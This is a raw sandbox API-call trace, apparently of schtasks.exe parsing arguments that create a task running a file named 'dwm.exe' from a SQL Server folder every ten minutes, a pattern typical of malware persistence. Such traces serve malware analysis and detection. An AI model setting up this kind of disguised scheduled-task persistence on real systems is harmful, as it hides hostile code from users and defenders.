RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.407] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.407] GetProcessHeap () returned 0x277e2100000 [0107.407] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x18) returned 0x277e210a7b0 [0107.407] _memicmp (_Buf1=0x277e210a7b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.407] lstrlenW (lpString="MINUTE") returned 6 [0107.407] GetProcessHeap () returned 0x277e2100000 [0107.407] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0xe) returned 0x277e210a590 [0107.407] lstrlenW (lpString="MINUTE") returned 6 [0107.407] lstrlenW (lpString=" \x09") returned 2 [0107.407] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0107.407] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0107.407] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0107.407] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0107.407] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0107.407] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0107.407] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0107.407] GetLastError () returned 0x0 [0107.407] lstrlenW (lpString="MINUTE") returned 6 [0107.407] lstrlenW (lpString="MINUTE") returned 6 [0107.407] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.407] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.407] lstrlenW (lpString="/mo") returned 3 [0107.407] lstrlenW (lpString="-/") returned 2 [0107.407] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0107.407] lstrlenW (lpString="create") returned 6 [0107.407] lstrlenW (lpString="create") returned 6 [0107.407] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.408] lstrlenW (lpString="mo") returned 2 [0107.408] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.408] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|create|") returned 8 [0107.408] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|mo|") returned 4 [0107.408] lstrlenW (lpString="|create|") returned 8 [0107.408] lstrlenW (lpString="|mo|") returned 4 [0107.408] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0107.408] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.408] lstrlenW (lpString="?") returned 1 [0107.408] lstrlenW (lpString="?") returned 1 [0107.408] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.408] lstrlenW (lpString="mo") returned 2 [0107.408] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.408] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|?|") returned 3 [0107.408] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|mo|") returned 4 [0107.408] lstrlenW (lpString="|?|") returned 3 [0107.408] lstrlenW (lpString="|mo|") returned 4 [0107.408] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.408] lstrlenW (lpString="s") returned 1 [0107.408] lstrlenW (lpString="s") returned 1 [0107.408] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.408] lstrlenW (lpString="mo") returned 2 [0107.408] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.408] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|s|") returned 3 [0107.408] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|mo|") returned 4 [0107.408] lstrlenW (lpString="|s|") returned 3 [0107.408] lstrlenW (lpString="|mo|") returned 4 [0107.408] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.408] lstrlenW (lpString="u") returned 1 [0107.408] lstrlenW (lpString="u") returned 1 [0107.408] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.409] lstrlenW (lpString="mo") returned 2 [0107.409] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.409] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|u|") returned 3 [0107.409] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|mo|") returned 4 [0107.409] lstrlenW (lpString="|u|") returned 3 [0107.409] lstrlenW (lpString="|mo|") returned 4 [0107.409] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.409] lstrlenW (lpString="p") returned 1 [0107.409] lstrlenW (lpString="p") returned 1 [0107.409] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.409] lstrlenW (lpString="mo") returned 2 [0107.409] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.409] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|p|") returned 3 [0107.409] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|mo|") returned 4 [0107.409] lstrlenW (lpString="|p|") returned 3 [0107.409] lstrlenW (lpString="|mo|") returned 4 [0107.409] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.409] lstrlenW (lpString="ru") returned 2 [0107.409] lstrlenW (lpString="ru") returned 2 [0107.409] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.409] lstrlenW (lpString="mo") returned 2 [0107.409] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.409] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|ru|") returned 4 [0107.409] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|mo|") returned 4 [0107.409] lstrlenW (lpString="|ru|") returned 4 [0107.409] lstrlenW (lpString="|mo|") returned 4 [0107.409] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0107.409] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.409] lstrlenW (lpString="rp") returned 2 [0107.409] lstrlenW (lpString="rp") returned 2 [0107.409] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.410] lstrlenW (lpString="mo") returned 2 [0107.410] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.410] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rp|") returned 4 [0107.410] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|mo|") returned 4 [0107.410] lstrlenW (lpString="|rp|") returned 4 [0107.410] lstrlenW (lpString="|mo|") returned 4 [0107.410] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0107.410] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.410] lstrlenW (lpString="sc") returned 2 [0107.410] lstrlenW (lpString="sc") returned 2 [0107.410] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.410] lstrlenW (lpString="mo") returned 2 [0107.410] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.410] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sc|") returned 4 [0107.410] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|mo|") returned 4 [0107.410] lstrlenW (lpString="|sc|") returned 4 [0107.410] lstrlenW (lpString="|mo|") returned 4 [0107.410] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0107.410] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.410] lstrlenW (lpString="mo") returned 2 [0107.410] lstrlenW (lpString="mo") returned 2 [0107.410] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.410] lstrlenW (lpString="mo") returned 2 [0107.410] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.410] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|mo|") returned 4 [0107.410] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|mo|") returned 4 [0107.410] lstrlenW (lpString="|mo|") returned 4 [0107.410] lstrlenW (lpString="|mo|") returned 4 [0107.410] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0107.410] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.411] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.411] lstrlenW (lpString="10") returned 2 [0107.411] lstrlenW (lpString="-/") returned 2 [0107.411] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0107.411] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.411] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.411] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.411] lstrlenW (lpString="10") returned 2 [0107.411] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0107.411] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.411] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.411] _memicmp (_Buf1=0x277e210a7b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.411] lstrlenW (lpString="10") returned 2 [0107.411] lstrlenW (lpString="10") returned 2 [0107.411] lstrlenW (lpString=" \x09") returned 2 [0107.411] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0107.411] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0107.411] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0107.411] GetLastError () returned 0x0 [0107.411] lstrlenW (lpString="10") returned 2 [0107.411] lstrlenW (lpString="10") returned 2 [0107.411] GetProcessHeap () returned 0x277e2100000 [0107.411] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x6) returned 0x277e2104a60 [0107.411] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.411] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.411] lstrlenW (lpString="/tr") returned 3 [0107.411] lstrlenW (lpString="-/") returned 2 [0107.411] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0107.411] lstrlenW (lpString="create") returned 6 [0107.411] lstrlenW (lpString="create") returned 6 [0107.411] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.411] lstrlenW (lpString="tr") returned 2 [0107.411] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.411] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|create|") returned 8 [0107.412] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.412] lstrlenW (lpString="|create|") returned 8 [0107.412] lstrlenW (lpString="|tr|") returned 4 [0107.412] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0107.412] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.412] lstrlenW (lpString="?") returned 1 [0107.412] lstrlenW (lpString="?") returned 1 [0107.412] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.412] lstrlenW (lpString="tr") returned 2 [0107.412] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.412] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|?|") returned 3 [0107.412] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.412] lstrlenW (lpString="|?|") returned 3 [0107.412] lstrlenW (lpString="|tr|") returned 4 [0107.412] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.412] lstrlenW (lpString="s") returned 1 [0107.412] lstrlenW (lpString="s") returned 1 [0107.412] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.412] lstrlenW (lpString="tr") returned 2 [0107.412] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.412] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|s|") returned 3 [0107.412] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.412] lstrlenW (lpString="|s|") returned 3 [0107.412] lstrlenW (lpString="|tr|") returned 4 [0107.412] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.412] lstrlenW (lpString="u") returned 1 [0107.412] lstrlenW (lpString="u") returned 1 [0107.412] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.412] lstrlenW (lpString="tr") returned 2 [0107.412] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.413] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|u|") returned 3 [0107.413] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.413] lstrlenW (lpString="|u|") returned 3 [0107.413] lstrlenW (lpString="|tr|") returned 4 [0107.413] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.413] lstrlenW (lpString="p") returned 1 [0107.413] lstrlenW (lpString="p") returned 1 [0107.413] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.413] lstrlenW (lpString="tr") returned 2 [0107.413] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.413] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|p|") returned 3 [0107.413] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.413] lstrlenW (lpString="|p|") returned 3 [0107.413] lstrlenW (lpString="|tr|") returned 4 [0107.413] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.413] lstrlenW (lpString="ru") returned 2 [0107.413] lstrlenW (lpString="ru") returned 2 [0107.413] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.413] lstrlenW (lpString="tr") returned 2 [0107.413] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.413] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|ru|") returned 4 [0107.413] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.413] lstrlenW (lpString="|ru|") returned 4 [0107.413] lstrlenW (lpString="|tr|") returned 4 [0107.413] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0107.413] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.413] lstrlenW (lpString="rp") returned 2 [0107.413] lstrlenW (lpString="rp") returned 2 [0107.413] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.413] lstrlenW (lpString="tr") returned 2 [0107.413] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.414] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rp|") returned 4 [0107.414] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.414] lstrlenW (lpString="|rp|") returned 4 [0107.414] lstrlenW (lpString="|tr|") returned 4 [0107.414] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0107.414] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.414] lstrlenW (lpString="sc") returned 2 [0107.414] lstrlenW (lpString="sc") returned 2 [0107.414] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.414] lstrlenW (lpString="tr") returned 2 [0107.414] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.414] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sc|") returned 4 [0107.414] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.414] lstrlenW (lpString="|sc|") returned 4 [0107.414] lstrlenW (lpString="|tr|") returned 4 [0107.414] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0107.414] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.414] lstrlenW (lpString="mo") returned 2 [0107.414] lstrlenW (lpString="mo") returned 2 [0107.414] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.414] lstrlenW (lpString="tr") returned 2 [0107.414] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.414] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|mo|") returned 4 [0107.414] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.414] lstrlenW (lpString="|mo|") returned 4 [0107.414] lstrlenW (lpString="|tr|") returned 4 [0107.414] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0107.414] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.414] lstrlenW (lpString="d") returned 1 [0107.414] lstrlenW (lpString="d") returned 1 [0107.414] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.415] lstrlenW (lpString="tr") returned 2 [0107.415] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.415] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|d|") returned 3 [0107.415] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.415] lstrlenW (lpString="|d|") returned 3 [0107.415] lstrlenW (lpString="|tr|") returned 4 [0107.415] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.415] lstrlenW (lpString="m") returned 1 [0107.415] lstrlenW (lpString="m") returned 1 [0107.415] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.415] lstrlenW (lpString="tr") returned 2 [0107.415] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.415] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|m|") returned 3 [0107.415] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.415] lstrlenW (lpString="|m|") returned 3 [0107.415] lstrlenW (lpString="|tr|") returned 4 [0107.415] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.415] lstrlenW (lpString="i") returned 1 [0107.415] lstrlenW (lpString="i") returned 1 [0107.415] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.415] lstrlenW (lpString="tr") returned 2 [0107.415] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.415] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|i|") returned 3 [0107.415] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.415] lstrlenW (lpString="|i|") returned 3 [0107.415] lstrlenW (lpString="|tr|") returned 4 [0107.415] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.415] lstrlenW (lpString="tn") returned 2 [0107.415] lstrlenW (lpString="tn") returned 2 [0107.415] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.415] lstrlenW (lpString="tr") returned 2 [0107.415] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.416] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.416] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.416] lstrlenW (lpString="|tn|") returned 4 [0107.416] lstrlenW (lpString="|tr|") returned 4 [0107.416] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0107.416] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.416] lstrlenW (lpString="tr") returned 2 [0107.416] lstrlenW (lpString="tr") returned 2 [0107.416] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.416] lstrlenW (lpString="tr") returned 2 [0107.416] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.416] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.416] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.416] lstrlenW (lpString="|tr|") returned 4 [0107.416] lstrlenW (lpString="|tr|") returned 4 [0107.416] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0107.416] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.416] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.416] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0107.416] lstrlenW (lpString="-/") returned 2 [0107.416] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0107.416] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.416] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.416] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.416] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0107.416] StrChrIW (lpStart="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'", wMatch=0x3a) returned=":\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'" [0107.416] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0107.416] _memicmp (_Buf1=0x277e210a670, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.416] _memicmp (_Buf1=0x277e210a550, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.416] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.416] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.417] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.417] lstrlenW (lpString="'C") returned 2 [0107.417] lstrlenW (lpString="-/") returned 2 [0107.417] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0107.417] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.417] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.417] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.417] _memicmp (_Buf1=0x277e210a7b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.417] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0107.417] GetProcessHeap () returned 0x277e2100000 [0107.417] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a590) returned 1 [0107.417] GetProcessHeap () returned 0x277e2100000 [0107.417] RtlReAllocateHeap (Heap=0x277e2100000, Flags=0xc, Ptr=0x277e210a590, Size=0x76) returned 0x277e2103b70 [0107.417] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0107.417] lstrlenW (lpString=" \x09") returned 2 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0107.417] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0107.417] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0107.418] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x51) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0107.418] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0107.418] 